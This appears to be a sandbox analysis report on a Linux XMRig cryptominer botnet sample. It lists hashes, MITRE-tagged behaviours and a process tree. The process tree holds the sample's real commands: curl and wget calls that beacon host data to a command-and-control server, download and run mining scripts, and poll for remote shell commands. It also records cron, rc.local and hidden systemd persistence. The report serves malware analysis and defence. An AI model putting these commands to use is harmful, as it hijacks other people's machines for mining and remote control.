xmrig_linux | aa74f55a0cf28a04720c1108f1a16b0e531fcf2e184ea386ede4a3d3177da554

Analysis

max time kernel
148s
max time network
150s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
15/07/2026, 22:29

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
aa74f55a0cf28a04720c1108f1a16b0e531fcf2e184ea386ede4a3d3177da554
Size 7KB
Sample260715-2effmsfs3k
SHA256 aa74f55a0cf28a04720c1108f1a16b0e531fcf2e184ea386ede4a3d3177da554
MD5 78f6b0dc465da55b2c77603389b9f659
SHA1 a107f6acfde731345af1b78bea41743d5cb54a41
SHA512 b7dbe757a1f96214a1d1054f2cf5345bf141d19cd38f1fae0c033eae5e7942f9847952cae201315e9de0a35e4bea3d4070bd096fe9b6b16b938b950c0691dfb8
SSDEEP 96:N5u2qPYkOIZWhjyW2O3GsNieiMuxvn7nQSYJuHresS/KHSlNE4d6tRaSwrpS:WVPYkOIYhjyVO3UeikL7MUrA
TLSH
T153E134F2F930EC607A8D807CB56DA5916D872A3F05183C24709FB4386FAC269B179B74
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

antivm defense_evasion discovery execution xmrig_linux miner persistence privilege_escalation

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig_linux

File and Directory Permissions Modification 1 TTPs 13 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
722	chmod
951	chmod
979	chmod
980	chmod
661	chmod
901	chmod
902	chmod
941	chmod
1005	chmod
656	chmod
715	chmod
718	chmod
721	chmod

Executes dropped EXE 3 IoCs

ioc	pid	Process
/tmp/xmrig	991	nohup
/tmp/xmrig	992	nohup
/tmp/xmrig	1012	nohup

Creates/modifies Cron job 1 TTPs 12 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.e9PObV	crontab
File opened for modification	/etc/cron.d/worm	sh
File opened for modification	/var/spool/cron/crontabs/tmp.P0hobf	crontab
File opened for modification	/var/spool/cron/crontabs/root	sh
File opened for modification	/var/spool/cron/crontabs/root	aa74f55a0cf28a04720c1108f1a16b0e531fcf2e184ea386ede4a3d3177da554
File opened for modification	/var/spool/cron/root	aa74f55a0cf28a04720c1108f1a16b0e531fcf2e184ea386ede4a3d3177da554
File opened for modification	/etc/cron.d/worm	sh
File opened for modification	/var/spool/cron/crontabs/root	sh
File opened for modification	/var/spool/cron/root	sh
File opened for modification	/var/spool/cron/crontabs/tmp.WmJVXb	crontab
File opened for modification	/var/spool/cron/root	sh
File opened for modification	/etc/cron.d/worm	aa74f55a0cf28a04720c1108f1a16b0e531fcf2e184ea386ede4a3d3177da554

Modifies rc script 2 TTPs 1 IoCs

Adding/modifying system rc scripts is a common persistence mechanism.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/rc.local	aa74f55a0cf28a04720c1108f1a16b0e531fcf2e184ea386ede4a3d3177da554

Modifies systemd 2 TTPs 3 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/.w.service	aa74f55a0cf28a04720c1108f1a16b0e531fcf2e184ea386ede4a3d3177da554
File opened for modification	/etc/systemd/system/.w.service	sh
File opened for modification	/etc/systemd/system/.w.service	sh

Checks CPU configuration 1 TTPs 64 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Enumerates kernel/hardware configuration 1 TTPs 9 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/maps	awk
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	tar
File opened for reading	/proc/meminfo	grep
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/meminfo	grep
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/filesystems	tar
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
965	ip

Writes file to tmp directory 21 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.w.sh	aa74f55a0cf28a04720c1108f1a16b0e531fcf2e184ea386ede4a3d3177da554
File opened for modification	/tmp/.w.sh	sh
File opened for modification	/tmp/.ms.sh	wget
File opened for modification	/tmp/xmrig	tar
File opened for modification	/tmp/.w.sh	sh
File opened for modification	/tmp/xmrig.tar.gz	wget
File opened for modification	/tmp/.ps.sh	wget
File opened for modification	/tmp/.w.prop	wget
File opened for modification	/tmp/.xmrig.pid	sh
File opened for modification	/tmp/.xmrig.pid	sh
File opened for modification	/tmp/tUA@��t@8	sh
File opened for modification	/tmp/.ms.sh	wget
File opened for modification	/tmp/xmrig	tar
File opened for modification	/tmp/xmrig.tar.gz	wget
File opened for modification	/tmp/tUA@��t@8	sh
File opened for modification	/tmp/.xmrig.pid	sh
File opened for modification	/tmp/.ms.sh	wget
File opened for modification	/tmp/xmrig.tar.gz	wget
File opened for modification	/tmp/config.json	tar
File opened for modification	/tmp/config.json	tar
File opened for modification	/tmp/tUA@��t@8	sh

/tmp/aa74f55a0cf28a04720c1108f1a16b0e531fcf2e184ea386ede4a3d3177da554
/tmp/aa74f55a0cf28a04720c1108f1a16b0e531fcf2e184ea386ede4a3d3177da554
1⤵
- Creates/modifies Cron job
- Modifies rc script
- Modifies systemd
- Writes file to tmp directory
PID:648
- /bin/rm
  rm -f /var/tmp/.w.test
  2⤵
  PID:650
- /bin/cat
  cat /tmp/aa74f55a0cf28a04720c1108f1a16b0e531fcf2e184ea386ede4a3d3177da554
  2⤵
  PID:653
- /bin/chmod
  chmod +x /tmp/.w.sh
  2⤵
  - File and Directory Permissions Modification
  PID:656
- /bin/cat
  cat /tmp/aa74f55a0cf28a04720c1108f1a16b0e531fcf2e184ea386ede4a3d3177da554
  2⤵
  PID:659
- /bin/chmod
  chmod +x /var/tmp/.w.sh
  2⤵
  - File and Directory Permissions Modification
  PID:661
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:665
- /bin/grep
  grep -q /var/tmp/.w.sh /etc/rc.local
  2⤵
  PID:675
- /bin/systemctl
  systemctl
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:677
- /bin/mkdir
  mkdir -p /etc/systemd/system
  2⤵
  PID:682
- /bin/systemctl
  systemctl enable .w.service
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:683
- /bin/systemctl
  systemctl start .w.service
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:698

/bin/sh
/bin/sh /tmp/aa74f55a0cf28a04720c1108f1a16b0e531fcf2e184ea386ede4a3d3177da554
1⤵
- Creates/modifies Cron job
- Modifies systemd
- Writes file to tmp directory
PID:708
- /bin/rm
  rm -f /var/tmp/.w.test
  2⤵
  PID:710
- /bin/cat
  cat /tmp/aa74f55a0cf28a04720c1108f1a16b0e531fcf2e184ea386ede4a3d3177da554
  2⤵
  PID:713
- /bin/chmod
  chmod +x /tmp/.w.sh
  2⤵
  - File and Directory Permissions Modification
  PID:715
- /bin/cat
  cat /tmp/aa74f55a0cf28a04720c1108f1a16b0e531fcf2e184ea386ede4a3d3177da554
  2⤵
  PID:719
- /bin/chmod
  chmod +x /var/tmp/.w.sh
  2⤵
  - File and Directory Permissions Modification
  PID:721
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:724
- /bin/grep
  grep -q /var/tmp/.w.sh /etc/rc.local
  2⤵
  PID:727
- /bin/systemctl
  systemctl
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:736
- /bin/mkdir
  mkdir -p /etc/systemd/system
  2⤵
  PID:744
- /bin/systemctl
  systemctl enable .w.service
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:751
- /bin/systemctl
  systemctl start .w.service
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:805
- /bin/cat
  cat /var/tmp/.w
  2⤵
  PID:820
- /bin/cat
  cat /var/tmp/.w.pid
  2⤵
  PID:826
- /bin/hostname
  hostname
  2⤵
  PID:833
- /bin/uname
  uname -srm
  2⤵
  PID:835
- /usr/bin/curl
  curl -sk https://ghvfcd.quest:8443/beacon -X POST -H "Content-Type: application/json" -d "{\"bot_id\":\"debian9-armhf-20260513-en-2-28\",\"hostname\":\"debian9-armhf-20260513-en-2\",\"os\":\"Linux 4.9.0-13-armmp-lpae armv7l\",\"version\":\"5.0\"}" --connect-timeout 15
  2⤵
  PID:836
- /usr/bin/wget
  wget -q --no-check-certificate -O /tmp/.ms.sh https://ghvfcd.quest:8443/start_mining.sh "--timeout=30"
  2⤵
  - Writes file to tmp directory
  PID:880
- /bin/chmod
  chmod +x /tmp/.ms.sh
  2⤵
  - File and Directory Permissions Modification
  PID:901
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=debian9-armhf-20260513-en-2-28'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:910
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:935
- /usr/bin/wget
  wget -q --no-check-certificate -O /tmp/.ms.sh https://ghvfcd.quest:8443/start_mining.sh "--timeout=30"
  2⤵
  - Writes file to tmp directory
  PID:939
- /bin/chmod
  chmod +x /tmp/.ms.sh
  2⤵
  - File and Directory Permissions Modification
  PID:941
- /usr/bin/wget
  wget -q --no-check-certificate -O- "--post-data={\"bot_id\":\"debian9-armhf-20260513-en-2-28\",\"output\":\"executed:mine\"}" "--header=Content-Type: application/json" https://ghvfcd.quest:8443/result "--timeout=10"
  2⤵
  PID:943
- /bin/sleep
  sleep 2
  2⤵
  PID:973
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=debian9-armhf-20260513-en-2-28'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:999
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1008
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1016
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  PID:1019
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Reads runtime system information
  PID:1023
- /bin/sleep
  sleep 2
  2⤵
  PID:1025
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=debian9-armhf-20260513-en-2-28'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:1029
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1033
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1037
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1039
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1043
- /bin/sleep
  sleep 2
  2⤵
  PID:1045
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=debian9-armhf-20260513-en-2-28'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:1052
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1056
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1058
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1060
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  PID:1064
- /bin/sleep
  sleep 2
  2⤵
  PID:1066
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=debian9-armhf-20260513-en-2-28'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:1072
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1077
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1078
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  PID:1114
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  PID:1153
- /bin/sleep
  sleep 2
  2⤵
  PID:1178
- /bin/sleep
  sleep 10
  2⤵
  PID:1180
- /bin/hostname
  hostname
  2⤵
  PID:1186
- /bin/uname
  uname -srm
  2⤵
  PID:1189
- /usr/bin/curl
  curl -sk https://ghvfcd.quest:8443/beacon -X POST -H "Content-Type: application/json" -d "{\"bot_id\":\"debian9-armhf-20260513-en-2-28\",\"hostname\":\"debian9-armhf-20260513-en-2\",\"os\":\"Linux 4.9.0-13-armmp-lpae armv7l\",\"version\":\"5.0\"}" --connect-timeout 15
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1191
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=debian9-armhf-20260513-en-2-28'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:1202
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1204
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1205
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  PID:1208
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1211
- /bin/sleep
  sleep 2
  2⤵
  PID:1214
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=debian9-armhf-20260513-en-2-28'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:1220
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1222
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1224
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  PID:1226
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1232
- /bin/sleep
  sleep 2
  2⤵
  PID:1234
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=debian9-armhf-20260513-en-2-28'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:1240
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1242
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1244
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1245
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1250
- /bin/sleep
  sleep 2
  2⤵
  PID:1252
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=debian9-armhf-20260513-en-2-28'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:1259
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1262
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1263
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  PID:1265
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1269
- /bin/sleep
  sleep 2
  2⤵
  PID:1272
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=debian9-armhf-20260513-en-2-28'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:1278
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1280
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1281
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1283
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1290
- /bin/sleep
  sleep 2
  2⤵
  PID:1292
- /bin/sleep
  sleep 10
  2⤵
  PID:1294
- /bin/hostname
  hostname
  2⤵
  PID:1315
